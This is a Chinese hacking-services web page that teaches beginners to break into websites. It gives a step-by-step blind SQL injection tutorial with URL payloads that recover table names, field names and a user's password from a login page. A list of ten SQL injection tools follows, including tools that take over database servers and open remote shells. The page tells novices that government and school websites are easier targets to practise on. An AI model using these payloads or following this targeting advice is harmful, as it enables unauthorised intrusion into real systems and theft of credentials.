当前位置:首页 > 网络黑客 > 正文内容

入侵网站用什么软件(新手如何入侵一个网站)

hacker1个月前 (11-27)网络黑客12

  SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用现有应用程序,将(恶意的)SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。

  黑客新手常用的sql注入就是使用一些注入工具,比如:啊D,明小子一些的简单sql注入工具。现在的网站能够用sql注入的漏洞已经很少了,一般政府和学校的网站漏洞比较多,可以作为肉鸡试一试。

  下面讲一下早些年的sql简单方法:

  首先我们在一个具备sql注入漏洞的网站开始实战测试(实验网站已经通知修复)前提准备:

  肉鸡网站:https://172.18.3.13:81/login.asp?name

  用户名:admin 密码:admin

  所需sql注入语句

  (1)判断有无注入点

  ; and 1=1 and 1=2

  (2)猜表一般的表的名称无非是admin adminuser user pass password 等..

  and 0<>(select count(*) from *)

  and 0<>(select count(*) from admin) ---判断是否存在admin这张表

  (3)猜帐号数目 如果遇到0< 返回正确页面 1<返回错误页面说明帐号数目就是1个

  and 0<(select count(*) from admin)

  and 1<(select count(*) from admin)

  (4)猜解字段名称 在len( ) 括号里面加上我们想到的字段名称.

  and 1=(select count(*) from admin where len(*)>0)--

  and 1=(select count(*) from admin where len(用户字段名称name)>0)

  and 1=(select count(*) from admin where len(_blank>密码字段名称password)>0)

  (5)猜解各个字段的长度 猜解长度就是把>0变换 直到返回正确页面为止

  and 1=(select count(*) from admin where len(*)>0)

  and 1=(select count(*) from admin where len(name)>6) 错误

  and 1=(select count(*) from admin where len(name)>5) 正确 长度是6

  and 1=(select count(*) from admin where len(name)=6) 正确

  and 1=(select count(*) from admin where len(password)>11) 正确

  and 1=(select count(*) from admin where len(password)>12) 错误 长度是12

  and 1=(select count(*) from admin where len(password)=12) 正确

  (6)猜解字符

  and 1=(select count(*) from admin where left(name,1)=a) ---猜解用户帐号的第一位

  and 1=(select count(*) from admin where left(name,2)=ab)---猜解用户帐号的第二位

  就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了

  and 1=(select top 1 count(*) from Admin where

  Asc(mid(pass,5,1))=51) --

  这个查询语句可以猜解中文的用户和_blank>密码.只要把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符.

  开始sql入侵

  SQL注入漏洞测试:

入侵网站用什么软件(新手如何入侵一个网站)

  在正常用户名admin后增加一个单引号,单击"登录"

  或在URL地址栏直接输入https://172.18.3.13:81/login.asp?name=admin'&pass=admin

  若出错,证明没有对'进行过滤,存在SQL注入漏洞

  在正常用户名admin后增加一个单引号,单击"登录"

  出错

  在URL地址栏直接输入https://172.18.3.13:81/login.asp?name=admin'&pass=admin

  登录出错

  登录出错,证明存在SQL注入漏洞。

  >>>>

  1、SQL注入攻击

  构造可以正常运行的目标地址

  输入https://172.18.3.13:81/login.asp?name=admin &pass=admin' and '1=1

  原SQL语句为SELECT * FROM data Where uname='admin',条件未变,但接收密码为admin' and '1=1

  登录失败

  输入https://172.18.3.13:81/login.asp?pass=admin&name=admin' and 1=1 and 'a'='a

  原SQL语句为SELECT * FROM data Where uname='admin' and 1=1 and 'a'='a'

  登录成功

  可以正常运行的目标地址已经构造成功,此时可将1=1部分用SQL查询语句替代,依次对数据库表名、表中字段名、用户和密码长度、用户和密码进行测试

  >>>>

  2、猜解数据库表名

  https://172.18.3.13:81/login.asp?pass=admin&name=admin' and (select count(*) from data)>0 and 'a'='a

  成功,说明数据表名确为data;若不成功,则可反复测试,直至成功猜出表名

  >>>>

  3、猜解数据库字段名

  https://172.18.3.13:81/login.asp?pass=admin&name=admin'and (select count(uname) from data)>0 and 'a'='a

  若用户名字段确为uname,则提示登录成功

  同理可猜出密码字段为upass

  猜测用户名字段为name,登录出错

  猜测用户名字段为uname,登录成功

  说明数据库中用户名字段为uname

  猜测密码字段为upass,登录成功

  说明数据库中密码字段为upass

  >>>>

  4、猜解密码长度

  已知有一用户名为"wucm",首先猜其密码长度大于1

  https://172.18.3.13:81/login.asp?pass=admin&name=admin' and (Select count(*) from data where uname='wucm' and len(upass)>1)>0 and 'a'='a

  成功,说明用户"wucm"的密码大于1, 继续猜测密码长度小于10

  https://172.18.3.13:81/login.asp?pass=admin&name=admin' and (Select count(*) from data where uname='wucm' and len(upass)<10)>0 and 'a'='a

  成功,说明"wucm"的密码长度小于10位,继续猜测其密码长度小于5

  https://172.18.3.13:81/login.asp?pass=admin&name=admin' and (Select count(*) from data where uname='wucm' and len(upass)<5)>0 and 'a'='a

  出错,说明"wucm"的密码长度大于5位,继续猜测其密码长度大于8位

  https://172.18.3.13:81/login.asp?pass=admin&name=admin' and (Select count(*) from data where uname='wucm' and len(upass)>8)>0 and 'a'='a

  出错,说明"wucm"的密码长度小于8位,继续猜测其密码长度等于6位

  https://172.18.3.13:81/login.asp?pass=admin&name=admin' and (Select count(*) from data where uname='wucm' and len(upass)=6)>0 and 'a'='a

  成功,说明"wucm"的密码长度为6位

  >>>>

  5、猜解密码

  根据前面的测试我们已经知道该用户的密码长度位6位,接下来对密码进行逐位猜测:

  首先测试第一位是否为数字

  https://172.18.3.13:81/login.asp?pass=admin&name=admin' and (Select count(*) from data where uname='wucm' and mid(upass,1,1)<'9')>0 and 'a'='a

  出错,说明密码第一位不是数字, 测试是否位字母

  https://172.18.3.13:81/login.asp?pass=admin&name=admin' and (Select count(*) from data where uname='wucm' and mid(upass,1,1)>'a')>0 and 'a'='a

  成功,基本说明密码第一位是字母, 接下来重复测试,不断缩小字母范围,最后确定密码第一位为字母"w"

  https://172.18.3.13:81/login.asp?pass=admin&name=admin' and (Select count(*) from data where uname='wucm' and mid(upass,1,1)='w')>0 and 'a'='a

  成功,说明密码第一位位"w"

  同理对6位密码逐位进行猜测,最后得到密码为"wcm987"

  至此我们就猜测出用户"wucm"的密码为"wcm987",进行登陆测试:

  登录成功,证明整个猜测过程和最后得出的密码都是正确的。

  10款 SQL 注入工具

  >>>>

  1、BSQL Hacker

  BSQL Hacker是由Portcullis实验室开发的,BSQL Hacker 是一个SQL自动注入工具(支持SQL盲注),其设计的目的是希望能对任何的数据库进行SQL溢出注入。 BSQL Hacker的适用群体是那些对注入有经验的使用者和那些想进行自动SQL注入的人群。BSQL Hacker可自动对Oracle和MySQL数据库进行攻击,并自动提取数据库的数据和架构。

  >>>>

  2、The Mole

  The Mole是一款开源的自动化SQL注入工具,其可绕过IPS/IDS(入侵防御系统/入侵检测系统)。只需提供一个URL和一个可用的关键字,它就能够检测注入点并利用。The Mole可以使用union注入技术和基于逻辑查询的注入技术。The Mole攻击范围包括SQL Server、MySQL、Postgres和Oracle数据库。

  >>>>

  3、Pangolin

  Pangolin是一款帮助渗透测试人员进行SQL注入(SQL Injeciton)测试的安全工具。Pangolin与JSky(Web应用安全漏洞扫描器、Web应用安全评估工具)都是NOSEC公司的产品。Pangolin具备友好的图形界面以及支持测试几乎所有数据库(Access、MSSql、MySql、Oracle、Informix、DB2、Sybase、PostgreSQL、Sqlite)。Pangolin能够通过一系列非常简单的操作,达到最大化的攻击测试效果。它从检测注入开始到最后控制目标系统都给出了测试步骤。Pangolin是目前国内使用率最高的SQL注入测试的安全软件。

  >>>>

  4、Sqlmap

  Sqlmap是一个自动SQL 注入工具。其可胜任执行一个广泛的数据库管理系统后端指纹,检索DBMS数据库、usernames、表格、列、并列举整个DBMS信息。Sqlmap提供转储数据库表以及MySQL、PostgreSQL、SQL Server服务器下载或上传任何文件并执行任意代码的能力。

  >>>>

  5、Havij

  Havij是一款自动化的SQL注入工具,它能够帮助渗透测试人员发现和利用Web应用程序的SQL注入漏洞。Havij不仅能够自动挖掘可利用的SQL 查询,还能够识别后台数据库类型、检索数据的用户名和密码hash、转储表和列、从数据库中提取数据,甚至访问底层文件系统和执行系统命令,当然前提是有 一个可利用的SQL注入漏洞。Havij支持广泛的数据库系统,如 MsSQL, MySQL, MSAccess and Oracle。 Havij支持参数配置以躲避IDS,支持代理,后台登陆地址扫描。

  >>>>

  6、Enema SQLi

  Enema SQLi与其他 SQL注入工具不同的是,Enema SQLi不是自动的,想要使用Enema SQLi需要一定的相关知识。Enema SQLi能够使用用户自定义的查询以及插件对SQL Server和MySQL数据库进行攻击。支持基于error-based、Union-based和blind time-based的注入攻击。

  >>>>

  7、SQLninja

  SQLninja软件用Perl编写,符合GPLv2标准。SQLninja的目的是利用Web应用程序中的SQL注入式漏洞,它依靠微软的SQL Server作为后端支持。其主要的目标是在存在着漏洞的数据库服务器上提供一个远程的外壳,甚至在一个有着严格的防范措施的环境中也能如此。在一个SQL注入式漏洞被发现以后,企业的管理员特别是渗透攻击的测试人员应当使用它,它能自动地接管数据库服务器。现在市场上有许多其它的SQL注入式漏洞工具,但SQLninja与其它工具不同,它无需抽取数据,而着重于在远程数据库服务器上获得一个交互式的外壳,并将它用作目标网络中的一个立足点。

  >>>>

入侵网站用什么软件(新手如何入侵一个网站)

  8、sqlsus

  sqlsus是一个开放源代码的MySQL注入和接管工具,sqlsus使用perl编写并基于命令行界面。sqlsus可以获取数据库结构,注入你自己的SQL语句,从服务器下载文件,爬行web站点可写目录,上传和控制后门,克隆数据库等。

  >>>>

  9、Safe3 SQL Injector

  Safe3 SQL Injector是一个最强大和最易使用的渗透测试工具,它可以自动检测和利用SQL注入漏洞和数据库服务器的过程中。Safe3 SQL Injector具备读取MySQL、Oracle、PostgreSQL、SQL Server、Access、SQLite、Firebird、Sybase、SAP MaxDB等数据库的能力。同时支持向MySQL、SQL Server写入文件,以及SQL Server和Oracle中执行任意命令。Safe3 SQL Injector也支持支持基于error-based、Union-based和blind time-based的注入攻击。

  >>>>

  10、SQL Poizon

  SQL Poizon的图形界面使用户无需深厚的专业知识便能够进行攻击,SQL Poizon扫描注入工具内置浏览器可帮助查看注入攻击带来的影响。SQL Poizon充分利用搜索引擎“dorks”扫描互联网中存在SQL注入漏洞的网站。

(来源:计算机与网络安全)

以攻促防,攻防兼备

扫描二维码推送至手机访问。

版权声明:本文由黑客接单发布,如需转载请注明出处。

本文链接:http://therlest.com/150638.html

分享给朋友:

“入侵网站用什么软件(新手如何入侵一个网站)” 的相关文章

淘宝什么时候发货(淘宝一般都是什么时候发货)

随着12月的到来,“双12推广”也如约而至。作为2020年电商最后一次推广,三天爆发也需要提前布局。 1双十二赛马规则 过去双十一促销,很多商家说没有达到预期,甚至很多免费流量也没有改变。问题的关键其实在于赛马规则。大推广前会有额外的赛马规则分配免费流量。想要在推广期获得更确定性的流量,必须了解...

【干货知识】高級不断渗透第八季-demo就是远程控制

本季度是《高級不断渗透-第七季demo的发展》的持续。 点一下文尾左下角“阅读”可阅读文章第七季文章正文。 在第一季有关后门中,文章内容提及再次编译程序notepad ,来引入有目标源代码后门结构。 在第六季有关后门中,文章内容假定不在获知notepad 的源代码,来引入无目标源代码沟...

我老公老是让他家的亲戚来我家,我该怎么办?请各位帮我想想办法,我

我老公老是让他家的亲戚来我家,我该怎么办?请各位帮我想想办法,我 请各位帮我想想办法,开网店怎么找女装货源唔爱神起助您成就财富人生,想做微商?想开实体店?想开淘宝店?什么才是你创业的最重要步骤?货源!想在微商卖童装母婴用品纸尿裤女装,开童装女装店铺,你去哪里找最好的货源?如何找童装女装一手货源呢?...

为什么反复烧开的水会有毒?

为什么反复烧开的水会有毒? 千滚水就是在炉上沸腾了一夜或很长时间的水,还有电热水器中反复煮沸的水。这种水因煮过久,水中不挥发性物质,如钙、镁等重金属成分和亚硝酸盐因浓缩后含量很高。久饮这种水,会干扰人的胃肠功能,出现暂时腹泻、腹胀;有毒的亚硝酸盐还会造成机体缺氧,严重者会昏迷惊厥,甚至死亡。 蒸...

奥迪a三报价及图片大全,奥迪a3最新价格及图片

主要是看配置和相应4s点的一些降价幅度。2010款奥迪A3Sportback1点,市场需求等诸方因素的影响而有所调整。 每个地区优惠不一样,2010款,A3报价如下最新2016款Sportback35TFSI进取型18点49万,你好,车价不用说了就是发票价格;购置税约等于发票价格除以11点7;交强险...

如厕阅读-如厕时读书看报有哪些坏处?

如厕阅读-如厕时读书看报有哪些坏处? 读书、看报兼如厕,不少人有这样的习惯。然而这一习惯非常不好。蹲厕时读书看报,会干扰大脑对排便传导神经的指挥,延长排便时间。现代医学研究证实,蹲厕超过3分钟即可直接导致直肠静脉曲张淤血,易诱发痔疮,且病情的轻重与时间长短有关。蹲厕时间越长,发病几率越高。因为久蹲...

评论列表

酒奴徒掠
1个月前 (11-27)

and 1<(select count(*) from admin)  (4)猜解字段名称 在len( ) 括号里面加上我们想到的字段名称.  and 1=(select count(*) from admin where len(*)>0)--  and 1

拥嬉沐白
1个月前 (11-27)

me=admin'&pass=admin  若出错,证明没有对'进行过滤,存在SQL注入漏洞  在正常用户名admin后增加一个单引号,单击"登录"  出错  在URL地址栏直接输入https://

笙沉桔烟
1个月前 (11-27)

网站上的数据库,而不是按照设计者意图去执行SQL语句。  黑客新手常用的sql注入就是使用一些注入工具,比如:啊D,明小子一些的简单sql注入工具。现在的网站能够用sql注入的漏洞已经很少了,一般政府和学校的网站漏洞比较多,可以作为肉鸡试一试。   下面讲一下早些年的sql简单方法:

发表评论

访客

◎欢迎参与讨论,请在这里发表您的看法和观点。